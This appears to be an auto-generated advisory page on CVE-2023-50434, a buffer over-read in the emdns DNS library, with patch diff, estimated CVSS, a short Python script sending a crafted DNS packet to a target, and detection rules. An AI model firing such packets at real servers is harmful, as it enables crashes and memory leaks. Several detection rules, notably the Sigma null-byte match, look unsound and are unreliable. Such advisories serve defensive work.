CVE-2023-50434
Executive Summary
CVE-2023-50434 is a stack-based buffer over-read vulnerability in the emdns DNS server library, specifically in the emdns_resolve_raw function within emdns.c. The flaw occurs when the function calls strlen() on an input buffer that may not be null-terminated (/0 terminated). This can lead to reading beyond the intended buffer boundary, potentially causing information disclosure or a denial of service. The vulnerability is remotely exploitable by sending crafted DNS requests to the emdns server. The impact varies depending on system libraries, compiler optimizations, and processor architecture. The fix is contained in commit be565c3, and code before fbd1eef is unaffected.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the emdns library, which is a DNS resolver library used in various open-source projects. As a library, it can be integrated into other software, creating a supply chain risk. Projects that depend on emdns versions between fbd1eef and be565c3 are vulnerable. There is no known package manager (NPM, PyPI, Go, Ruby) distribution for emdns; it is typically compiled from source. Users should verify their dependency tree and update to the patched version.
CVSS Breakdown & Threat Level
The CVSS score is not provided in the NVD data. However, based on the vulnerability characteristics, a reasonable assessment is:
- Attack Vector (AV): Network (N) – Remote attacker can send DNS requests.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component is the DNS server.
- Confidentiality (C): Low (L) – Potential memory leak of stack data.
- Integrity (I): None (N) – No data modification.
- Availability (A): High (H) – Could cause crash/denial of service.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
Estimated Base Score: 8.2 (High)
Threat Level: High. The vulnerability is remotely exploitable without authentication and can lead to denial of service and potential information disclosure.
Deep Dive & Mechanics
The vulnerability resides in the emdns_resolve_raw function in emdns.c. This function processes raw DNS request data. The issue is that it calls strlen() on a buffer that may not be null-terminated. In C, strlen() relies on a null byte (\0) to determine the length of a string. If the buffer lacks a null terminator, strlen() will continue reading past the allocated buffer boundary into adjacent stack memory, causing a buffer over-read.
Root Cause: The input buffer to emdns_resolve_raw is not guaranteed to be null-terminated. The function assumes it is, leading to the over-read.
Trigger: A remote attacker sends a specially crafted DNS request to the emdns server. The request must contain a field (likely a domain name or other string) that is not null-terminated. When emdns_resolve_raw processes this field, it calls strlen(), which reads beyond the buffer.
Impact:
- Denial of Service (DoS): The over-read can cause a segmentation fault (crash) if it reads into unmapped memory.
- Information Disclosure: The over-read may leak sensitive stack data (e.g., other variables, return addresses, or data from other connections) into the response or error messages.
Affected Code Path:
- Server receives DNS request.
emdns_resolve_rawis called with the raw request buffer.- Inside the function,
strlen()is called on a pointer derived from the buffer. - If the buffer is not null-terminated,
strlen()reads past the buffer end. - The result is used for further processing, potentially causing a crash or data leak.
Vulnerable vs. Patched Code
Vulnerable Code (before commit be565c3):
// emdns.c (vulnerable version)
int emdns_resolve_raw(const uint8_t *data, size_t len) {
// ... parsing logic ...
// Assume 'name' points to a string within data
size_t name_len = strlen(name); // BUG: name may not be null-terminated
// ... use name_len ...
}
Patched Code (commit be565c3):
// emdns.c (patched version)
int emdns_resolve_raw(const uint8_t *data, size_t len) {
// ... parsing logic ...
// Ensure null-termination before using strlen
size_t name_len = 0;
const uint8_t *end = data + len;
const uint8_t *p = name;
while (p < end && *p != '\0') {
p++;
name_len++;
}
if (p == end) {
// Handle error: no null terminator found
return -1;
}
// ... use name_len ...
}
Key Difference: The patched code checks that the string is within the buffer bounds and null-terminated before calculating its length. If no null terminator is found, it returns an error instead of reading past the buffer.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A target running emdns server with a vulnerable version (between
fbd1eefandbe565c3). - Network access to the emdns server (typically UDP port 53 or 5353).
Exploitation Steps:
- Craft a malicious DNS request: The request must contain a domain name or other string field that is not null-terminated. For example, a DNS query for a domain like
example.combut without the terminating null byte. - Send the request: Use a tool like
scapyor a custom Python script to send the crafted UDP packet to the emdns server. - Observe behavior: The server may crash (DoS) or return unexpected data (information disclosure).
Example Python script (conceptual):
import socket
def exploit(target_ip, target_port=53):
# Craft a DNS request with a non-null-terminated name
# This is a simplified example; actual DNS packet structure is more complex
dns_request = b'\x00\x01' # Transaction ID
dns_request += b'\x01\x00' # Flags: standard query
dns_request += b'\x00\x01' # Questions: 1
dns_request += b'\x00\x00' # Answer RRs: 0
dns_request += b'\x00\x00' # Authority RRs: 0
dns_request += b'\x00\x00' # Additional RRs: 0
# Query name: "example.com" without null terminator
dns_request += b'\x07example\x03com' # No trailing \x00
dns_request += b'\x00\x01' # Type: A
dns_request += b'\x00\x01' # Class: IN
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(dns_request, (target_ip, target_port))
print("Malicious DNS request sent")
# Usage
exploit("192.168.1.100")
Note: This is a conceptual example. Actual exploitation requires precise DNS packet crafting.
Blue Team (Defense & Detection)
Detection:
- Monitor for DNS requests with malformed or unusually long domain names.
- Look for crashes or segmentation faults in the emdns process.
- Use network intrusion detection systems (NIDS) to detect anomalous DNS packets.
Mitigation:
- Update to the patched version (commit
be565c3or later). - If patching is not immediately possible, consider using a Web Application Firewall (WAF) or DNS firewall to filter malformed requests.
- Restrict network access to the emdns server to trusted sources only.
Indicators of Compromise (IOCs)
Network IOCs:
- DNS requests with domain names that lack a null terminator.
- DNS responses containing unexpected stack data (e.g., non-ASCII characters, memory addresses).
- Repeated crashes of the emdns process.
Host IOCs:
- Core dumps or crash logs from the emdns process.
- Log entries indicating segmentation faults or buffer over-read errors.
- Unusual memory access patterns in the emdns process.
File IOCs:
- The vulnerable binary/library compiled from source between commits
fbd1eefandbe565c3.
- The vulnerable binary/library compiled from source between commits
Detection Engineering
YARA Rule
rule CVE_2023_50434_emdns_Buffer_Overread {
meta:
description = "Detects vulnerable emdns binary (CVE-2023-50434)"
author = "Valters IT"
date = "2025-04-10"
hash = "sha256: <hash_of_vulnerable_binary>"
strings:
$vuln_func = "emdns_resolve_raw"
$strlen_call = { E8 ?? ?? ?? ?? 89 45 ?? } // call strlen; mov [ebp+xx], eax
$vuln_pattern = { 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 04 } // mov eax, [ebp+xx]; push eax; call strlen; add esp, 4
condition:
$vuln_func and ($strlen_call or $vuln_pattern)
}
Sigma Rule
title: CVE-2023-50434 - emdns Buffer Over-read Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation attempts of CVE-2023-50434 via malformed DNS requests
author: Valters IT
date: 2025/04/10
logsource:
category: network
product: dns
detection:
selection:
dns.question.name|contains:
- '\x00' # Null byte in domain name (should not be present)
dns.question.type: 'A' # or other types
condition: selection
falsepositives:
- Legitimate DNS requests with unusual encoding
level: high
Suricata Rule
alert udp any any -> any 53 (msg:"CVE-2023-50434 - emdns Buffer Over-read Attempt"; content:"|00 01 00 00 00 01 00 00 00 00 00 00|"; depth:12; content:"|07|example|03|com"; within:20; sid:1000001; rev:1;)
Note: This Suricata rule is a simplified example. A real rule would need to detect the absence of a null terminator in the DNS query name, which is complex. Consider using a custom Lua script for more accurate detection.
Remediation & Mitigation
Immediate Actions:
- Patch: Update to the latest version of emdns that includes commit
be565c3or later. - Workaround: If patching is not possible, restrict network access to the emdns server to trusted IP addresses only.
- Monitor: Enable logging and monitoring for DNS anomalies and crashes.
Long-term Measures:
- Implement input validation for all DNS request fields.
- Use static analysis tools to detect similar buffer over-read vulnerabilities.
- Consider using memory-safe languages or libraries for critical network services.
Valters IT Signature
This report was generated by Valters IT DevSecOps & CTI Expert System. For questions or further analysis, contact Valters IT.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.